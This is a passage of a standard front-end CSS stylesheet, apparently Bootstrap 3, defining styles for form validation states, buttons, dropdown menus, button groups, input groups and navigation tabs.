#66512c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n color: #8a6d3b;\n background-color: #fcf8e3;\n border-color: #8a6d3b;\n}\n.has-warning .form-control-feedback {\n color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline,\n.has-error.radio label,\n.has-error.checkbox label,\n.has-error.radio-inline label,\n.has-error.checkbox-inline label {\n color: #a94442;\n}\n.has-error .form-control {\n border-color: #a94442;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-error .form-control:focus {\n border-color: #843534;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n color: #a94442;\n background-color: #f2dede;\n border-color: #a94442;\n}\n.has-error .form-control-feedback {\n color: #a94442;\n}\n.has-feedback label ~ .form-control-feedback {\n top: 25px;\n}\n.has-feedback label.sr-only ~ .form-control-feedback {\n top: 0;\n}\n.help-block {\n display: block;\n margin-top: 5px;\n margin-bottom: 10px;\n color: #737373;\n}\n@media (min-width: 768px) {\n .form-inline .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .form-inline .form-control-static {\n display: inline-block;\n }\n .form-inline .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .form-inline .input-group .input-group-addon,\n .form-inline .input-group .input-group-btn,\n .form-inline .input-group .form-control {\n width: auto;\n }\n .form-inline .input-group > .form-control {\n width: 100%;\n }\n .form-inline .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio,\n .form-inline .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio label,\n .form-inline .checkbox label {\n padding-left: 0;\n }\n .form-inline .radio input[type=\"radio\"],\n .form-inline .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .form-inline .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n padding-top: 7px;\n margin-top: 0;\n margin-bottom: 0;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n min-height: 27px;\n}\n.form-horizontal .form-group {\n margin-right: -15px;\n margin-left: -15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .control-label {\n padding-top: 7px;\n margin-bottom: 0;\n text-align: right;\n }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n right: 15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-lg .control-label {\n padding-top: 11px;\n font-size: 18px;\n }\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-sm .control-label {\n padding-top: 6px;\n font-size: 12px;\n }\n}\n.btn {\n display: inline-block;\n padding: 6px 12px;\n margin-bottom: 0;\n font-size: 14px;\n font-weight: normal;\n line-height: 1.42857143;\n text-align: center;\n white-space: nowrap;\n vertical-align: middle;\n -ms-touch-action: manipulation;\n touch-action: manipulation;\n cursor: pointer;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n background-image: none;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus,\n.btn.focus,\n.btn:active.focus,\n.btn.active.focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus,\n.btn.focus {\n color: #333;\n text-decoration: none;\n}\n.btn:active,\n.btn.active {\n background-image: none;\n outline: 0;\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n cursor: not-allowed;\n filter: alpha(opacity=65);\n -webkit-box-shadow: none;\n box-shadow: none;\n opacity: .65;\n}\na.btn.disabled,\nfieldset[disabled] a.btn {\n pointer-events: none;\n}\n.btn-default {\n color: #333;\n background-color: #fff;\n border-color: #ccc;\n}\n.btn-default:focus,\n.btn-default.focus {\n color: #333;\n background-color: #e6e6e6;\n border-color: #8c8c8c;\n}\n.btn-default:hover {\n color: #333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n color: #333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active:hover,\n.btn-default.active:hover,\n.open > .dropdown-toggle.btn-default:hover,\n.btn-default:active:focus,\n.btn-default.active:focus,\n.open > .dropdown-toggle.btn-default:focus,\n.btn-default:active.focus,\n.btn-default.active.focus,\n.open > .dropdown-toggle.btn-default.focus {\n color: #333;\n background-color: #d4d4d4;\n border-color: #8c8c8c;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n background-image: none;\n}\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus {\n background-color: #fff;\n border-color: #ccc;\n}\n.btn-default .badge {\n color: #fff;\n background-color: #333;\n}\n.btn-primary {\n color: #fff;\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary:focus,\n.btn-primary.focus {\n color: #fff;\n background-color: #286090;\n border-color: #122b40;\n}\n.btn-primary:hover {\n color: #fff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n color: #fff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active:hover,\n.btn-primary.active:hover,\n.open > .dropdown-toggle.btn-primary:hover,\n.btn-primary:active:focus,\n.btn-primary.active:focus,\n.open > .dropdown-toggle.btn-primary:focus,\n.btn-primary:active.focus,\n.btn-primary.active.focus,\n.open > .dropdown-toggle.btn-primary.focus {\n color: #fff;\n background-color: #204d74;\n border-color: #122b40;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n background-image: none;\n}\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus {\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.btn-success {\n color: #fff;\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success:focus,\n.btn-success.focus {\n color: #fff;\n background-color: #449d44;\n border-color: #255625;\n}\n.btn-success:hover {\n color: #fff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n color: #fff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active:hover,\n.btn-success.active:hover,\n.open > .dropdown-toggle.btn-success:hover,\n.btn-success:active:focus,\n.btn-success.active:focus,\n.open > .dropdown-toggle.btn-success:focus,\n.btn-success:active.focus,\n.btn-success.active.focus,\n.open > .dropdown-toggle.btn-success.focus {\n color: #fff;\n background-color: #398439;\n border-color: #255625;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n background-image: none;\n}\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus {\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success .badge {\n color: #5cb85c;\n background-color: #fff;\n}\n.btn-info {\n color: #fff;\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info:focus,\n.btn-info.focus {\n color: #fff;\n background-color: #31b0d5;\n border-color: #1b6d85;\n}\n.btn-info:hover {\n color: #fff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n color: #fff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active:hover,\n.btn-info.active:hover,\n.open > .dropdown-toggle.btn-info:hover,\n.btn-info:active:focus,\n.btn-info.active:focus,\n.open > .dropdown-toggle.btn-info:focus,\n.btn-info:active.focus,\n.btn-info.active.focus,\n.open > .dropdown-toggle.btn-info.focus {\n color: #fff;\n background-color: #269abc;\n border-color: #1b6d85;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n background-image: none;\n}\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus {\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info .badge {\n color: #5bc0de;\n background-color: #fff;\n}\n.btn-warning {\n color: #fff;\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning:focus,\n.btn-warning.focus {\n color: #fff;\n background-color: #ec971f;\n border-color: #985f0d;\n}\n.btn-warning:hover {\n color: #fff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n color: #fff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active:hover,\n.btn-warning.active:hover,\n.open > .dropdown-toggle.btn-warning:hover,\n.btn-warning:active:focus,\n.btn-warning.active:focus,\n.open > .dropdown-toggle.btn-warning:focus,\n.btn-warning:active.focus,\n.btn-warning.active.focus,\n.open > .dropdown-toggle.btn-warning.focus {\n color: #fff;\n background-color: #d58512;\n border-color: #985f0d;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n background-image: none;\n}\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus {\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning .badge {\n color: #f0ad4e;\n background-color: #fff;\n}\n.btn-danger {\n color: #fff;\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger:focus,\n.btn-danger.focus {\n color: #fff;\n background-color: #c9302c;\n border-color: #761c19;\n}\n.btn-danger:hover {\n color: #fff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n color: #fff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active:hover,\n.btn-danger.active:hover,\n.open > .dropdown-toggle.btn-danger:hover,\n.btn-danger:active:focus,\n.btn-danger.active:focus,\n.open > .dropdown-toggle.btn-danger:focus,\n.btn-danger:active.focus,\n.btn-danger.active.focus,\n.open > .dropdown-toggle.btn-danger.focus {\n color: #fff;\n background-color: #ac2925;\n border-color: #761c19;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n background-image: none;\n}\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus {\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger .badge {\n color: #d9534f;\n background-color: #fff;\n}\n.btn-link {\n font-weight: normal;\n color: #337ab7;\n border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link.active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n background-color: transparent;\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n color: #23527c;\n text-decoration: underline;\n background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n color: #777;\n text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n padding: 1px 5px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-block {\n display: block;\n width: 100%;\n}\n.btn-block + .btn-block {\n margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n width: 100%;\n}\n.fade {\n opacity: 0;\n -webkit-transition: opacity .15s linear;\n -o-transition: opacity .15s linear;\n transition: opacity .15s linear;\n}\n.fade.in {\n opacity: 1;\n}\n.collapse {\n display: none;\n}\n.collapse.in {\n display: block;\n}\ntr.collapse.in {\n display: table-row;\n}\ntbody.collapse.in {\n display: table-row-group;\n}\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n -webkit-transition-timing-function: ease;\n -o-transition-timing-function: ease;\n transition-timing-function: ease;\n -webkit-transition-duration: .35s;\n -o-transition-duration: .35s;\n transition-duration: .35s;\n -webkit-transition-property: height, visibility;\n -o-transition-property: height, visibility;\n transition-property: height, visibility;\n}\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: 4px dashed;\n border-top: 4px solid \\9;\n border-right: 4px solid transparent;\n border-left: 4px solid transparent;\n}\n.dropup,\n.dropdown {\n position: relative;\n}\n.dropdown-toggle:focus {\n outline: 0;\n}\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: 1000;\n display: none;\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0;\n font-size: 14px;\n text-align: left;\n list-style: none;\n background-color: #fff;\n -webkit-background-clip: padding-box;\n background-clip: padding-box;\n border: 1px solid #ccc;\n border: 1px solid rgba(0, 0, 0, .15);\n border-radius: 4px;\n -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n}\n.dropdown-menu.pull-right {\n right: 0;\n left: auto;\n}\n.dropdown-menu .divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: 1.42857143;\n color: #333;\n white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n color: #262626;\n text-decoration: none;\n background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n color: #fff;\n text-decoration: none;\n background-color: #337ab7;\n outline: 0;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n color: #777;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n text-decoration: none;\n cursor: not-allowed;\n background-color: transparent;\n background-image: none;\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.open > .dropdown-menu {\n display: block;\n}\n.open > a {\n outline: 0;\n}\n.dropdown-menu-right {\n right: 0;\n left: auto;\n}\n.dropdown-menu-left {\n right: auto;\n left: 0;\n}\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: 12px;\n line-height: 1.42857143;\n color: #777;\n white-space: nowrap;\n}\n.dropdown-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 990;\n}\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n content: \"\";\n border-top: 0;\n border-bottom: 4px dashed;\n border-bottom: 4px solid \\9;\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n}\n@media (min-width: 768px) {\n .navbar-right .dropdown-menu {\n right: 0;\n left: auto;\n }\n .navbar-right .dropdown-menu-left {\n right: auto;\n left: 0;\n }\n}\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n position: relative;\n float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n z-index: 2;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n margin-left: -1px;\n}\n.btn-toolbar {\n margin-left: -5px;\n}\n.btn-toolbar .btn,\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n.btn-group > .btn:first-child {\n margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n padding-right: 8px;\n padding-left: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-right: 12px;\n padding-left: 12px;\n}\n.btn-group.open .dropdown-toggle {\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn .caret {\n margin-left: 0;\n}\n.btn-lg .caret {\n border-width: 5px 5px 0;\n border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n border-top-left-radius: 4px;\n border-top-right-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n display: table-cell;\n float: none;\n width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n width: 100%;\n}\n.btn-group-justified > .btn-group .dropdown-menu {\n left: auto;\n}\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n}\n.input-group {\n position: relative;\n display: table;\n border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n float: none;\n padding-right: 0;\n padding-left: 0;\n}\n.input-group .form-control {\n position: relative;\n z-index: 2;\n float: left;\n width: 100%;\n margin-bottom: 0;\n}\n.input-group .form-control:focus {\n z-index: 3;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle;\n}\n.input-group-addon {\n padding: 6px 12px;\n font-size: 14px;\n font-weight: normal;\n line-height: 1;\n color: #555;\n text-align: center;\n background-color: #eee;\n border: 1px solid #ccc;\n border-radius: 4px;\n}\n.input-group-addon.input-sm {\n padding: 5px 10px;\n font-size: 12px;\n border-radius: 3px;\n}\n.input-group-addon.input-lg {\n padding: 10px 16px;\n font-size: 18px;\n border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n.input-group-btn {\n position: relative;\n font-size: 0;\n white-space: nowrap;\n}\n.input-group-btn > .btn {\n position: relative;\n}\n.input-group-btn > .btn + .btn {\n margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n z-index: 2;\n margin-left: -1px;\n}\n.nav {\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n}\n.nav > li {\n position: relative;\n display: block;\n}\n.nav > li > a {\n position: relative;\n display: block;\n padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n text-decoration: none;\n background-color: #eee;\n}\n.nav > li.disabled > a {\n color: #777;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n color: #777;\n text-decoration: none;\n cursor: not-allowed;\n background-color: transparent;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n background-color: #eee;\n border-color: #337ab7;\n}\n.nav .nav-divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.nav > li > a > img {\n max-width: none;\n}\n.nav-tabs {\n border-bottom: 1px solid #ddd;\n}\n.nav-tabs > li {\n float: left;\n margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n margin-right: 2px;\n line-height: 1.42857143;\n border: 1px solid transparent;\n border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n border-color: #eee #eee #ddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n color: #555;\n cursor: default;\n background-color: #fff;\n border: 1px solid #ddd;\n border-bottom-color: transparent;\n}\n.nav-tabs.nav-justified {\n width: 100%;\n border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n float: none;\n}\n.nav-tabs.nav-justified > li > a {\n margin-bottom: 5px;\n text-align: center;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-tabs.nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs.nav-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li > a {\n border-bottom: 1px solid #ddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs.nav-justified > .active > a,\n .nav-tabs.nav-justified > .active > a:hover,\n .nav-tabs.nav-justified > .active > a:focus {\n border-bottom-color: #fff;\n }\n}\n.nav-pills > li {\n float: left;\n}\n.nav-pills > li > a {\n border-radius: 4px;\n}\n.nav-pills > li + li {\n margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n color: #fff;\n background-color: #337ab7;\n}\n.nav-stacked > li {\n float: none;\n}\n.nav-stacked > li + li {\n margin-top: 2px;\n margin-left: 0;\n}\n.nav-justified {\n width: 100%;\n}\n.nav-justified > li {\n float: none;\n}\n.nav-justified > li > a {\n margin-bottom: 5px;\n text-align: center;\n}\n.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs-justified {\n border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n .nav-tabs-justified > li > a 